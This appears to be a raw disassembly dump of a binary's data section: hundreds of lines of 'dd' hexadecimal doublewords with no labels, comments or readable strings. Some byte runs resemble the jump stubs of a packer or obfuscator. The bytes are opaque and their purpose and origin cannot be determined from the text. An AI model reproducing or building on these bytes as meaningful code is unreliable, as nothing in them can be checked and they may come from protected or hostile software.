		dd 8A41D9FCh, 96F58C13h, 0EED0CBA9h, 4532954h, 8649C077h
		dd 0F4A1DA9Ch, 849146E4h, 4E5B9BBh, 87F83B4Fh, 0DEC29835h
		dd 9E01B83Fh, 14C8D7ACh, 148002Eh, 79A10000h, 3B907DF4h
		dd 7349C077h, 0B5F262E9h, 0BC652BA8h, 5F2AAD9Eh, 5CA164E6h
		dd 54E9DE7Bh, 4D5538FBh, 86BD0F8Eh, 0D6588FCDh,	7154E9D9h
		dd 0E3A069A9h, 1433F9C0h, 34h, 0ED6FD843h, 0F87A4B2Ah
		dd 744F04E5h, 13A92EAAh, 4322EF20h, 0B532A6FCh,	7A29BD8h
		dd 211254E9h, 7D2548Bh,	0AD7D54E9h, 0EAD7AC65h,	0BA0033F8h
		dd 57000000h, 7349C077h, 76927852h, 0DABDA1D4h,	0A01571h
		dd 0FB7EFB4Dh, 0CC013286h, 0A72E2109h, 9B68CA3Bh, 13C44F05h
		dd 3F76A4C7h, 77E40652h, 9146E4F4h, 0ED6BB716h,	211EA16Ah
		dd 4F053848h, 211E0FCCh, 4F04F243h, 9DF677A1h, 6271E96Ch
		dd 0EED9FC31h, 93ECB331h, 54EC3BE5h, 0D1C98C4Fh, 0AE2B771Ch
		dd 0FC78FA2Bh, 3F454EAh, 0A1130FCEh, 0F4A19226h, 0D8449D1h
		dd 3BF972ACh, 3E87551Ch, 89Dh, 597CF778h, 0F8E09C1h, 0BC23A613h
		dd 547BF466h, 0D900FCEh, 490C9D18h, 0E353CFCEh,	33B96164h
		dd 4E0D15B8h, 5231C8CFh, 0EED30F6Dh, 401F6D54h,	444BC677h
		dd 0FF9E19DEh, 49C0776Eh, 0BA785273h, 0A190C5Ah, 3EBDD9B2h
		dd 479D8BFh, 4F053826h,	0E5F85586h, 28266h, 6FD8B100h
		dd 6F4B2AEDh, 0D676FBD4h, 4E2C156Bh, 0AE4F05DCh, 0E0DDA06Dh
		dd 54E9E3BBh, 0D6B518DBh, 0E9D78BE9h, 6FCD3254h, 0CD54E9D7h
		dd 0F25F900Ah, 0D6FF61E6h, 0F04A54E9h, 0BA0A79B0h, 1B7333F9h
		dd 6C000002h, 0CAB2B08Dh, 0C13254E9h, 0D3524714h, 0F44F04E5h
		dd 0CF71999Eh, 126C31CFh, 588B21A6h, 0C1433CFFh, 0F363BF1Eh
		dd 8D2D0F74h, 4C8F4F05h, 26C33C83h, 0E54EF6Fh, 5B100ACDh
		dd 0F665BD20h, 0BF686577h, 0C0655A3Dh, 0DC5AD254h, 0A162521Bh
		dd 83492214h, 7AC22h, 4DC47700h, 9F18D04Ah, 30B722F8h
		dd 48C375ADh, 0E118DD45h, 1B8E29FEh, 62B8DF5Ah,	0C85275F2h
		dd 1C068902h, 2B9DC5Fh,	0D4006243h, 0E7C54EEh, 50C07751h
		dd 0F0B1D60Bh, 0AE3A6F59h, 0C5CDF9Ch, 0B3E92971h, 4B73E557h
		dd 748FF11Eh, 2CABF728h, 6B241FADh, 0AE31A82Fh,	7267D3CFh
		dd 5912F0Dh, 194A8D4Fh,	1CA4D0Dh, 1574562Dh, 154872Eh
		dd 77D60000h, 0E97349C0h, 9512C262h, 0B4DB0CC7h, 379614C1h
		dd 0E8FD09CEh, 1EAA6D54h, 6BEE6BB7h, 0FBD95BA4h, 985B54E8h
		dd 0FC70F63Fh, 0F4DB54E8h, 0FC4A2815h, 69AA54E8h, 37FE22ACh
		dd 33F8E34Ch, 36BDh, 6FD8D800h,	7A4B2AEDh, 4F04E5F8h, 77D68374h
		dd 0E908350Eh, 8F4E8154h, 12A62193h
		dd 0E3647421h, 54E9087Dh, 0C70E72C8h, 33F8EB7Ch, 205B1D05h
		dd 0BA7877h, 779F0000h,	0E97349C0h, 4B2AED64h, 4E5F87Ah
		dd 0D456AF4Fh, 504F04E5h, 0D630E39Fh, 62D1EB64h, 521923A9h
		dd 0FC7B81DBh, 9CE55A7Dh, 234F0538h, 1FF877E7h,	0C2C544F3h
		dd 0D9BC3EF7h, 0F11D9F1h, 13FCA77Fh, 8345734Ch,	0C52F54ECh
		dd 0CC79514h, 8D9574DBh, 0C57E4ACDh, 424F0E08h,	0EB36FF7Dh
		dd 49BA7D54h, 0B719DC46h, 1328601h, 0BF1FEFCCh,	28A01C3Bh
		dd 64C49h, 2DA41700h, 7FF870AAh, 9017C258h, 28A3150Dh
		dd 41F87DA5h, 0BBEEC95Eh, 218BF3Ah, 68B2D552h, 0BC6669E2h
		dd 6219BC3Fh, 0D560C223h, 0AEDC54EEh, 4BC677F1h, 0B93D6544h
		dd 8249553Eh, 9830B722h, 865776ABh, 8649C077h, 0E65CDE27h
		dd 17D84F04h, 4F0C1EBAh, 55AA09CCh, 4F04E5D7h, 9629E255h
		dd 26D7h, 0C0770600h, 62E97349h, 6CE24EBh, 423E5C14h, 869C3C99h
		dd 0A615F43Ch, 4E21A027h, 82000000h, 557D098h, 775405CEh
		dd 71EA60C0h, 4625AC3Ch, 4B619A5Ch, 0E5C9AB98h,	0E82B4F04h
		dd 0E661C62Fh, 0CC964F04h, 0A5B625C4h, 4E5DA58h, 3A0B5A4Fh
		dd 4F04E638h, 0DD0E43B4h, 7394107Ah, 9FFB7CFAh,	95C10062h
		dd 0FB10A5AEh, 89F7837h, 49C0775Fh, 0B894673h, 9A98E544h
		dd 1A4F04E5h, 54A97CD9h, 54EEC7EDh, 0EBC78649h,	59A22040h
		dd 0E01FDF06h, 703E2AFh, 6CB6D950h, 615C6CEFh, 82502FB4h
		dd 6E33F1F2h, 89405A3Dh, 9DE2450Eh, 5AD7F617h, 0B7D3B265h
		dd 1C068900h, 0D18CDC5Fh, 920DCF64h, 390214C6h,	32129964h
		dd 0F4C98CC1h, 54E9A727h, 19D79447h, 0EE1C3D54h, 50B8B6Ah
		dd 65D60000h, 0BB3FEBEAh, 0C881993Ch, 62D44E51h, 0B93CE6E9h
		dd 2F8E9F3Eh, 597CFB7Ah, 0F3920DC1h, 0A726A117h, 5A7DFC7Bh
		dd 0A183FCA3h, 354EED5h, 0C0772E65h, 0B674649h,	3E4157Eh
		dd 8B97400Bh, 0A08A4DCCh, 474A88F4h, 85D780C7h,	22007DDCh
		dd 824F0500h, 0DD9A8451h, 2BAFFB5Ah, 0DCE9E3ACh, 2CAF2D75h
		dd 0E0EAA79Ch, 0A8A41A0h, 31D05E6Ah, 5679AA09h,	15989FE4h
		dd 4EC82Eh, 0CC0F0000h,	0D2E661D6h, 8C5B461h, 0A4FACB8Ah
		dd 0C054E932h, 0E452480Fh, 9F837C63h, 6554E931h, 3906E5F6h
		dd 54E9323Bh, 2B0976B9h, 8954E932h, 5870EF6Fh, 4245B6EBh
		dd 0C39912D8h, 5AD6A882h, 901C3368h, 44780C7h, 0F9210000h
		dd 0B91EFB72h, 7349C077h, 0D864852h, 0F914640h,	231CC235h
		dd 4F04FE41h, 362670A3h, 3DA095C5h, 80369D4Ah, 3273D207h
		dd 54E917CDh, 0FB27E629h, 29A0FA7Dh, 6C291AAEh,	0BC3D656Ch
		dd 0F2D456AFh, 9F5054E8h, 68251EAAh, 0E8F3250Bh, 0D6DAA054h
		dd 0F8DA241Fh, 5D5533h,	0D8800000h, 0F02AED6Fh,	0B312FF78h
		dd 32300DECh, 0B24F04E6h, 0E69092D3h, 2BEC4F04h, 0AD2EACF6h
		dd 0A6B241Fh, 54E90831h, 0C97E4A8Dh, 54E90867h,	1DAF2EADh
		dd 86D24D0Fh, 6577F064h, 70BD7EEh, 0FDD5FCCFh, 36F3626Dh
		dd 0FED8B547h, 61087BB2h, 0BB7133F9h, 52000000h, 0B5078048h
		dd 7784D5BEh, 527349C0h, 82683C78h, 0FD0980CAh,	0F610FD7Ch
		dd 6AF0C847h, 0CC5E6AEDh, 34098C0Fh, 4F050E2Bh,	6A2DAC2Bh
		dd 631D0100h, 4C0935CAh, 0F36AE139h, 0E892F8D9h, 7C85ACFh
		dd 0BE0A8D4Ah, 34875085h, 2916F97Bh, 54E9D49Ch,	259037F8h
		dd 0DA2BEA68h, 5AD05DA6h, 948E5182h, 0FB27A621h, 2CFEFF7Ah
		dd 0CF221FA9h, 323A40Dh, 7DFE0000h, 9347C3C2h, 20A97114h
		dd 7AFC26A9h, 9144DEC1h, 17A67716h, 3154D382h, 0EBEA65E9h
		dd 9F3EB93Fh, 3255D483h, 89EBD48Bh, 0EB54EED8h,	0C677C69Dh
		dd 75F262h, 75E43E9Dh, 7EFD19F2h, 550218FFh, 804D86D2h
		dd 6FD868FDh, 78F02AEDh, 9D76EDFFh, 880F5CAh, 12FC54E9h
		dd 718B21A6h, 0FA6943FAh, 5D045489h, 9159445h, 270CC940h
		dd 54E90841h, 380512C3h, 54E9083Ah, 0B40479BAh,	17A52296h
		dd 61A9E9B3h, 79B0F04Ah, 33F8EB0Ah, 10773h, 0C0779A00h
		dd 78527349h, 1D29C4B3h, 95F15A26h, 0B213A920h,	8900B7D3h
		dd 598DA58h, 3C995A4Fh,	59D6AF7h, 2DF9D14Fh, 0A1DFB30Fh
		dd 0E057B31Ch, 1B4CA669h, 3F7941FBh, 0B6A7DD6h,	0C8D95BA4h
		dd 985B4F05h, 0CC64D33Fh, 0FD9880Ah, 0A310280Bh, 32AF3D6Eh
		dd 1A00C745h, 548FDD5Ah, 0AADB24FBh, 8A54E950h,	0DE9C8649h
		dd 9AEDF05Dh, 9E8AF2Dh,	0E9303634h, 8845B654h, 0D659C835h
		dd 683D5ACFh, 7D51517h,	0E1A4974Fh, 7D49E9Ch, 0E8DD1E4Fh
		dd 0D878FD25h, 722959Ch, 880F4065h, 57362392h, 7260C6Eh
		dd 7EA7684Fh, 4F0725FCh, 80D85318h, 0B3E45753h,	1FCFE20Ah
		dd 0F2B31922h, 1D1h, 2DB02BACh,	0C3C245F5h, 70179247h
		dd 28AF28AAh, 0C1C443F2h, 0BD306954h, 0D7878302h, 6FED3558h
		dd 0BA31E9ECh, 0A6E59C03h, 0EED8DB59h, 74235954h, 444BC677h
		dd 3F9E19DEh, 0E6056758h, 9D674F04h, 0D70C5CDFh, 0C19629E2h
		dd 0B18E6DCCh, 4F04E5B3h, 0A381FE31h, 14F04E5h,	521905CEh
		dd 61C081DBh, 4E61E1Ch,	0FD7AFE4Fh, 904A74EFh, 1B49F513h
		dd 0B6635452h, 0A96CEF6Ch, 6943FA71h, 948E11FAh, 6BC93627h
		dd 994F05B4h, 0D54C40FAh, 83746EAEh, 964F7A4Eh,	0F74CB114h
		dd 4754E914h, 9E64C494h, 45C47392h, 57D09882h, 9E84EBFAh
		dd 7F25FD8h, 3409CC4Eh,	5ACD375Bh, 0FA00589Bh, 54EEFA7Dh
		dd 465C060Ah, 0BB3096h,	8D46FDCFh, 1DDA712Eh, 2015CE9Ah
		dd 1547007Dh, 6CAF54E9h, 833AB169h, 0AE42A829h,	0C3683469h
		dd 0BA3DBBC7h, 3E58352Eh, 0DDAD3FB8h, 52D02D8Ch, 0B254E9BAh
		dd 3E358700h, 0DC865384h, 78635D4h, 0C0176A40h,	8EA431A9h
		dd 1ED7A2C5h, 7B8706B5h, 0F56E7AFDh, 8BE0DD80h,	0EB5ACD1Dh
		dd 240D6528h, 0F2DDBA96h, 213B917Ah, 366C33AAh,	81B20681h
		dd 5E2484D4h, 80220852h, 4A2DC20Dh, 5D0AE1AAh, 761278DFh
		dd 9A1DDC3Ch, 0BE0ACB0h, 0AD86FF4Eh, 954E923h, 5E1B07C6h
		dd 1C6F7EDBh, 9F7E21A3h, 2465C738h, 14C754E9h, 6177ABBh
		dd 29885AD3h, 12C256D4h, 8601B64Fh, 747EDB1Ch, 16C6DC83h
		dd 4710C399h, 0C940F715h, 1C9F5CC6h, 2EA9B4Ch, 0A32262FDh
		dd 74BCCE57h, 0D5BEC325h, 0E3688989h, 3EBD6568h, 5D1F2DBFh
		dd 0C1749622h, 62E87246h, 0A10BD3E9h, 0B51FA961h, 0AC2FAC4Dh
		dd 0C37AF129h, 308E9h, 65F0000h, 4DC47751h, 0EF6EED7Fh
		dd 0E894FDDh, 0B32CA0BAh, 0D7520319h, 7BF66785h, 9E19DB61h
		dd 3EB930CAh, 5FD890AAh, 8956B30Dh, 4C681E6h, 83000000h
		dd 343304EEh, 24343124h, 5C243433h, 81E28952h, 4C2h, 4EA8300h
		dd 5C241487h, 68241C89h, 7C3Eh,	57240489h, 8E007ABFh, 25F78126h
		dd 0C1477C13h, 0DFF704EFh, 81FFEF83h, 0F6FC0AEFh, 5FFB89F3h
		dd 24048B54h, 6804C483h, 48A1h,	8F241C89h, 34FF0840h, 0C4835824h
		dd 2434FF04h, 4C4815Bh,	0E9000000h, 0FFFA877Eh,	47DF7182h
		dd 5409D14Eh, 0D1B8A53Dh, 305E9F5h, 8E0FFC5h, 7F4E8EB9h
		dd 8B01C22Eh, 0CC0D7CDDh, 94674C36h, 958F389h, 5116917Ch
		dd 4603E5h, 6D31068Ch, 6C3C3054h, 1879B80Ch, 992D7DE5h
		dd 353C0D18h, 515E551h,	0E71A6ABDh, 7633BCCFh, 0E27D06F8h
		dd 0F11AAA39h, 0E954436Eh, 0A3214785h, 0DC64ABF7h, 0EA3F069Eh
		dd 0DC1E1EA7h, 0A346006Bh, 617B2EEEh, 0D064EE23h, 0D14E56Ch
		dd 0D774C0A4h, 34078997h, 4F5DC36Ah
		dd 0A825261Ah, 8D61DA6Eh, 0E9F76B8Dh, 0FA8B6605h, 10958D89h
		dd 6A05E4h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 0F2815EC3h, 3E360CD4h, 2C6585C7h,	594C05E4h
		dd 800F0000h, 6, 2D5D8D89h, 85C705E4h, 5E430FDh, 0
		dd 32A4BB66h, 26FDB5FFh, 6E905E4h, 1A000000h, 0E26236DFh
		dd 6195FFA5h, 6A05E42Ah, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 9000C351h, 27A6F74Bh
		dd 0FF006ACBh, 0E410C195h, 0EBC08B05h, 2AAC7E6Fh, 6F853206h
		dd 57F24A04h, 2586A945h, 0E7F331C6h, 0A665D7C4h, 0B981CF65h
		dd 0A6C45860h, 919CD966h, 6FBB3B26h, 14F5CC9Ah,	470CEF66h
		dd 19261D5h, 0E50CF554h, 0B307D3Eh, 672A0FEEh, 20841BE4h
		dd 0CD578A92h, 5DF18ECEh, 42E3C0ADh, 9AA9619Ah,	0B2AB2206h
		dd 0F45BAD66h, 26561795h, 0D0700B22h, 7DFDFBE2h, 48EFA20Dh
		dd 0E7DA3B57h, 7D0079EBh, 218CEF9Eh, 0AFD60FE2h, 0B2979FABh
		dd 0B7E37C4Dh, 0E5720095h, 9CB5E9A9h, 77609BB6h, 94A9B6F3h
		dd 0D7609EB7h, 0BD897D60h, 0BD8C9EA9h, 0ACE3729Eh, 8B204A95h
		dd 937E9BB9h, 96B99D89h, 9E96AFF4h, 0D6B594A1h,	0FD91A7h
		dd 4ACC48D1h, 713C3359h, 0DB4D5200h, 0D65EF357h, 0B79BB7h
		dd 95ABAFF6h, 0F0009F89h, 0D7C77156h, 1800BEB3h, 0C4D75671h
		dd 0DC73E2ADh, 0E92B6B03h, 0F89h, 0E9FA3068h, 855CE905h
		dd 0E68FFFAh, 0E905E9FBh, 0FFFA8552h, 0E9FC0468h, 8548E905h
		dd 4C68FFFAh, 0E905E9FDh, 0FFFA853Eh, 0E9FDE568h, 8534E905h
		dd 8A68FFFAh, 0E905E9FEh, 0FFFA852Ah, 0E9FF5668h, 8520E905h
		dd 1568FFFAh, 0E905EA00h, 0FFFA8516h, 0EA010468h, 850CE905h
		dd 0B568FFFAh, 0E905EA01h, 0FFFA8502h, 0EA02FC68h, 84F8E905h
		dd 3A68FFFAh, 0E905EA05h, 0FFFA84EEh, 0EA066668h, 84E4E905h
		dd 2596FFFAh, 7BFF2BAAh, 8841D9FCh, 22948E11h, 79FC26A9h
		dd 6F4EDFFEh, 993CBB3Ah, 3352CD81h, 0E7E661D7h,	9A3DBC3Bh
		dd 0E143BCE3h, 4354EEDDh, 0C0776E25h, 62E97349h, 2491E4EBh
		dd 0E669CB34h, 8CB4F04h, 0CA0F70D7h, 0F154E8FCh, 13A920A9h
		dd 884B7720h, 0FC290F30h, 0C6A454E8h, 0E33013DAh, 555933F8h
		dd 0FC000000h, 17C46FD8h, 83FCA394h, 54E907AAh,	1401C9D1h
		dd 0E908492Bh, 3768AB54h, 0D1EB6EEBh, 0E30DA962h, 9D1ADA76h
		dd 0EE2314CFh, 0C641F32Fh, 0C49441F2h, 0E9081D03h, 0F877E754h
		dd 199E5AE0h, 151DFF43h, 0F43C8EDDh, 44C774AEh,	0EADCA78Bh
		dd 0D40D33F8h, 48000000h, 546AE6CCh, 71280A7Bh,	53844F05h
		dd 1A82C107h, 67E655B1h, 62260C55h, 98D855h, 0BD305A37h
		dd 2794B602h, 41F614A4h, 0F17EC7C6h, 0E54F05C2h, 8719DE76h
		dd 1C0AA0B8h, 566257FAh, 368205B4h, 0F097C83Dh,	9E2AAD2Ah
		dd 25E86A23h, 0E9316BD8h, 8508CB54h, 0C74532h, 78F379A1h
		dd 99BB569Fh, 7CBF5ACFh, 6DE03A99h, 116DE6F2h, 598ADE59h
		dd 0A42392FCh, 82E34221h, 4F0788A0h, 2BFFDB1Ch,	181A9105h
		dd 0DF9EF855h, 839E1BA0h, 7BD1221Fh, 0D06BAh, 1D944700h
		dd 0AF28A07Ah, 0C047F228h, 189345DDh, 0B128AD75h, 0EBBEF92Eh
		dd 32E8EF6Ah, 98820582h, 0EC3659D2h, 52E9EC6Fh,	0E0303273h
		dd 0FE8C54EEh, 62C677A1h, 0ED6672F5h, 4E0D15B8h, 0CC1FC8CFh
		dd 0C13B6E6h, 54BEF745h, 0B1A37141h, 8A612A74h,	87F85FDDh
		dd 54E9A9AEh, 200ACD0Eh, 5B019DBBh, 0B11BF44Fh,	0E8F2A88Eh
		dd 5B472354h, 0F8D6B192h, 0A2DA33h, 777D0000h, 0E97349C0h
		dd 0C02AED64h, 0E62F4B9Dh, 20A86593h, 4F8323Fh,	32B5224Fh
		dd 49C07793h, 22894673h, 0AEA537B0h, 0D8A59A7Dh, 3454E914h
		dd 3CE9DCC3h, 12A62197h, 0D429EC21h, 5ACFBB2Ch,	0A100C708h
		dd 6E7AF579h, 83D961ECh, 0DF1001B3h, 0C5FB9FF3h, 0F8554CFAh
		dd 3DA0DF9Eh, 0F0F970E5h, 221FB9F7h, 2865CC8Ch,	7900000Ch
		dd 0C2587FF6h, 140E9116h, 67A322A5h, 0CF5B7AF5h, 1B0C930Eh
		dd 0D1480D9Ch, 67E054CEh, 0BB3CBA60h, 0CE490E14h, 6C5130CFh
		dd 54EEE10Eh, 7743186Eh, 0DE444BC6h, 6EFF9E19h,	0EC60C077h
		dd 7785973h, 4F04E625h,	2E635487h, 96DF3B9Ah, 0FF78FCC5h
		dd 0C31C76EDh, 6BB76088h, 0B06A6DECh, 102ABE39h, 5ABD205Bh
		dd 7EFCA96Bh, 2709A69Fh, 5CB654E9h, 8C733EF1h, 406A27E6h
		dd 79FEC18Fh, 264C7411h, 0E1FB7CFCh, 65D29972h,	594120E7h
		dd 954E1A95h, 714BC289h, 0CB2809C2h, 2B4757E2h,	28E5D0E8h
		dd 3FBFEBAAh, 5E3B2880h, 0D9C2288Fh, 29FB6FBAh,	6840FB71h
		dd 0E4CD86FBh, 4C767FB2h, 0B0B2F3D2h, 0C417226h, 27066459h
		dd 0B5664172h, 0E9480F40h, 0EA405481h, 0E0AD150Eh, 17B631A6h
		dd 0A3D44C0Bh, 2DA429ECh, 8D3CFE1h, 80FF96D7h, 0D8702FB4h
		dd 0B3219h, 49C07300h, 9B1CDC46h, 2CAB2EF4h, 44FF71A9h
		dd 9D14D941h, 7922DFAh,	6EB4DB56h, 0B46E71EEh, 18028506h
		dd 0EB5D853h, 0E204665Fh, 1A6054EEh, 50C0774Dh,	0B16571DFh
		dd 0EFFD2EE7h, 0C08705F2h, 39B03961h, 751A175Ch, 709A54E9h
		dd 0F96A7EF9h, 7BAC2FADh, 1FB46154h, 598ADE59h,	67D5E17Dh
		dd 1A4F3914h, 95694ABBh, 3BC55ACDh, 0B7AC3CBBh,	516BEE6Bh
		dd 241BB1E2h, 4F059542h, 3CF53D8Dh, 2E157847h, 53B0h, 0D6CCE700h
		dd 61D2E661h, 8A08C5B4h, 32A4FACBh, 0FC054E9h, 63E45248h
		dd 319F837Ch, 0F66554E9h, 319A98E5h, 0D91A54E9h, 72F921E4h
		dd 492B14FBh, 0AB54E932h, 218AF68h, 38F9D354h, 0A6Bh, 5ACB199h
		dd 9DF82B12h, 2E6897EFh, 0DB9E421Ch, 29AE6B5Ch,	2AED6FD8h
		dd 0EEDEA1D5h, 0F95C9F54h, 0D8B52CA1h, 0DF5E1D05h, 5BF562B8h
		dd 383E189Fh, 0E91EAAD6h, 6550685Dh, 0E547B8A8h, 1754EE1Ch
		dd 55E29C80h, 7C8F297h,	0D3273D2h, 695AD81Ch, 2A00E7A6h
		dd 0E1BDEE0Bh, 89957E27h, 0DE444BC2h, 8BCA9E19h, 0BA1D89Fh
		dd 0C3BC7FD8h, 74A19E41h, 9054E9D2h, 7DB91E5Fh,	5AFE1C3Dh
		dd 9EA9Bh, 1B83B00h, 53D4849Eh,	0E463D64Ch, 3CB739E1h
		dd 55CC8199h, 0CFDAE532h, 160C930Eh, 7CA629A6h,	0C05A7DFEh
		dd 760D900Bh, 0E34C2E17h, 0D2A854EEh, 0E5CC5285h, 2EE74F04h
		dd 0A581E9ACh, 0ED4FB0EFh, 4F4F050Ch, 0FDC5428Ch, 89F64902h
		dd 54EF7E90h, 366C33E4h, 32AD2F81h, 3C101253h, 0AB6C54EEh
		dd 0CCB5776h, 0D5823F8Dh, 3C7AF8C5h, 39FA54EEh,	7A2901C4h
		dd 5C30EC74h, 40C7738Fh, 4F1EFB68h, 0D278F976h,	0FE7CA65Ah
		dd 1BF46F7Dh, 0C21F5C9Fh, 5221472h, 951EE57h, 21920000h
		dd 7FFB27A6h, 8C4DD5F8h, 0DE908A0Dh, 75F822A5h,	7342DBFAh
		dd 9538B726h, 4F4EC98Dh, 0E3E265D3h, 9639B027h,	0E547B8EFh
		dd 4754EEE2h, 0C0776A21h, 78527349h, 1B04F6C2h,	0B3DFB8E0h
		dd 0AE29AC04h, 19DD6F7Dh, 0BD30CA9Eh, 4F1BB602h, 46241943h
		dd 0A64F0566h, 0F2C80075h, 875D48Eh, 4F05662Ah,	0AA8C498Ah
		dd 2E154CD9h, 3ED02h, 6FD85500h, 48D52AEDh, 2454EEDEh
		dd 41F62CF3h, 0BAE0C7C6h, 0B4DEBB3Ch, 33348407h, 54EEDD2Dh
		dd 4A0D8F78h, 0D2EEFC75h, 36B7785Ah, 221420BDh,	0AC9F66F2h
		dd 0FD000008h, 46DCC37Ah, 0A8721592h, 0FB27A621h, 43DFFE79h
		dd 0A7701792h, 55CC8118h, 0EB64E832h, 3FB83EE4h, 52D58298h
		dd 0E8D5B433h, 54EEE48Ah, 0CCC79CEAh, 0C20280E6h, 0A36C69D3h
		dd 6379F067h, 0C19B12D9h, 0E1564C15h, 0E121AD66h, 0F22F5FBBh
		dd 1D0E30B5h, 5734220h,	3C71A24Fh, 5A241F53h, 53552E15h
		dd 80000003h, 4E5CC52h,	0AC2EE74Fh, 0D5CF81E9h,	6B76CC11h
		dd 0ABE6DFAEh, 1454EFC5h, 54D54B0Eh, 245F8A55h,	0C0EAA798h
		dd 0E552480Fh, 30A76362h, 0F9B623B9h, 0CB8E947Bh, 68557C4Ch
		dd 54EEE50Ah, 2A74A96Ah, 9E612AADh, 0DFDCD33Fh,	0C90F770Eh
		dd 6D29CF97h, 3C99CA1Ah, 0D2817AF7h, 0B039FA5Ah, 22146A49h
		dd 0E017DE7Ah, 21000007h, 8A9037AEh, 0DC4649CEh, 2FFB9A1Dh
		dd 779332ADh, 0D3444BC6h, 8900B5E4h, 0DF581C06h, 73F462B8h
		dd 8601B66Ch, 0D4297807h, 54EEE556h, 77FBD0D6h,	71EA60C0h
		dd 25B7E85Bh, 83D95007h, 570D7557h, 0E5AD8FF0h,	0CC0F4F04h
		dd 0CD542F03h, 8E6D2E14h, 0DE54D62Fh, 1FD04F04h, 4DE4426h
		dd 0A26FA04Fh, 2852Bh, 65BE9400h, 0F334DB7Dh, 52F5E2AFh
		dd 4F04E5CCh, 0E9AC2EE7h, 1D9A3AB1h, 5116A34Eh,	0FB6840B5h
		dd 24764F1Eh, 4054EFAAh, 1A42201Dh, 71A254EEh, 8A41593Ch
		dd 21968C13h, 0EEA712A6h, 9641A96Ch, 245928BFh,	19663992h
		dd 5AD242D4h, 31CEEF20h, 0D62214EAh, 721A302h, 0F1620000h
		dd 0FCB5776h, 5C1D0588h, 0EE60BADDh, 5C85275h, 0A3120B8Ah
		dd 0C5C847F6h, 7F1E995Dh, 13B235A3h, 0C6C940F7h, 1517683Fh
		dd 9754EEE6h, 0C077BA11h, 78527349h, 0ADA1BD1Bh, 25612A88h
		dd 8A537B6h, 639A5149h,	95319A49h, 4CCF8C6Dh, 0A5DC9189h
		dd 1E65D5E8h, 4F2E155Dh, 20h, 30B72278h, 0E9EEAB98h, 1C12Ch
		dd 0D12E8D00h, 4F04E653h, 0B1B38CD1h, 334F04E5h, 95C28FC0h
		dd 4E5D252h, 0B634E14Fh, 0B99170D7h, 9195E753h,	73F12EDCh
		dd 0F14F0562h, 496C553Eh, 5554EF5Ah, 30880FCBh,	9F2DAA2Ah
		dd 1E2773A4h, 2A00A401h, 7FAB6A5Fh, 0D06A7EF9h,	18CBE11Ah
		dd 9D1CDB27h, 0E4BB14CFh, 1FBE39BEh, 87D55403h,	389F1DCAh
		dd 24F176E2h, 3CB77C41h, 361C5AD2h, 0BF9D947h, 0EF8B44CFh
		dd 0F95A8F2Ch, 3F9D2214h, 63276h, 49C07300h, 9B1CDC46h
		dd 2CAB2EF4h, 44FF71A9h, 9D14D941h, 7922DFAh, 6EB4DB56h
		dd 0B46E71EEh, 18028506h, 0EB5D853h, 0E704665Fh, 1A6054EEh
		dd 49C0774Dh, 0AB785273h, 84A43180h, 8F4C5603h,	5921BC0Ch
		dd 0B833B859h, 225E2515h, 0E8F2E15h, 0CE000000h, 0E867D6CCh
		dd 37B663D0h, 0DEh, 0E5D35266h,	0AEF44F04h, 261DAF28h
		dd 7AD18E6Dh, 64E755FBh, 79AA9933h, 0DE0DA996h,	6AB054EEh
		dd 0E35068EFh, 0F3628C36h, 465C0374h, 0AB771691h, 0A21FAD2Ch
		dd 0AF9077F5h, 5AD30686h, 6CCE3796h, 0C84F12B6h, 4295D207h
		dd 0B9221436h, 5815213h, 11C20000h, 0AF2BF796h,	0FC7DA528h
		dd 0EC05A7Dh, 0A528F295h, 4372AB2Ah, 6568E756h,	1FBE39BDh
		dd 0B3D25503h, 6669E057h, 0B5B788DFh, 3754EEE6h, 0D6CC1A71h
		dd 910ECE60h, 7AD7083Bh, 88205B10h, 0F91BD1C9h,	33D0338Eh
		dd 927FB0F7h, 7048C388h, 0FC1D0565h, 69D9FC7Fh,	2E14EA1Ah
		dd 743h, 272C8A00h, 7B000000h, 7349C077h, 0D1EB62E9h, 0D3988243h
		dd 0AFD3FF58h, 8F0E894Eh, 0C344F228h, 848B297h,	0D8B5923Ah
		dd 27E5h, 0C0773000h, 6BCC7349h, 0AB4F04E6h, 0B11AB2Eh
		dd 29F1CB4Eh, 0B8975F43h, 5EB4EE12h, 20990427h,	0C8D2BFF5h
		dd 50058803h, 0EADBC077h, 4F04E688h, 0DA5D1AE4h, 5BD926E9h
		dd 0D94F04E6h, 83622516h, 4E5C0A2h, 1EFB3C4Fh, 480F1BBAh
		dd 8F48FBD1h, 2EF1732Ch, 0F4C447F4h, 0F233927Fh, 54EEDEBAh
		dd 0A8F25586h, 0FD25A823h, 0E867D67Eh, 9A2E63D0h, 0EE69EF3Bh
		dd 0CDAC69DAh, 0F2339210h, 5AD8D64Dh, 4027E629h, 0C6C3A46Ah
		dd 0D9BC9D23h, 4E786E4h, 5835E64Fh, 0A717B93Eh,	0C88A9028h
		dd 95C67D4Fh, 76E53DA0h, 3FE8E5F7h, 38E5DABDh, 5454E91Ah
		dd 0D33BDAE3h, 5CFC1C3Dh, 43A95h, 51C88B00h, 0E364D44Eh
		dd 34B326FCh, 4CC78991h, 0E51CD149h, 1F8A35E2h,	66BC235Eh
		dd 0CC5679F6h, 100A8D0Eh, 6BD205Bh, 0E7FC7E47h,	27854EEh
		dd 49C07755h, 0B51FDC46h, 79538407h, 0E7F574E3h, 40189345h
		dd 2FBD3ABAh, 448CF45Eh, 4CADD5B5h, 0B9890C8Fh,	2E14C8CAh
		dd 5233h, 0C076AC00h, 0D8CD8A47h, 4BF0F46Fh, 73A5F856h
		dd 30665F3Eh, 8F54EA24h, 3857A2A3h, 329FA740h, 9A804788h
		dd 76F4C9DCh, 0F654E9D5h, 9852C905h, 6322C4F4h,	0D256AF2Eh
		dd 3654E9D9h, 9B870681h, 14FB5ADDh, 0E9DA492Bh,	0AF68AB54h
		dd 38D442Dh, 0D8930000h, 4B2AED6Fh, 271C9B5Fh, 4F04E645h
		dd 0C49B74A7h, 0E8E73AFBh, 0E3F93A54h, 411B9259h, 0F3A9E9B3h
		dd 0E651D32Ch, 60D354E8h, 80D85706h, 7A338653h,	0DCB1DD1h
		dd 0A164598Ah, 0CCE69F5Ch, 0F95C9F5Ah, 0E7596191h, 4D0654CDh
		dd 0AEF45B3Ah, 0F173B02Fh, 734F056Dh, 0AB64D780h, 0DC196629h
		dd 5854E96Eh, 0B627C597h, 88D9A13Bh, 6E56D429h,	65D654E9h
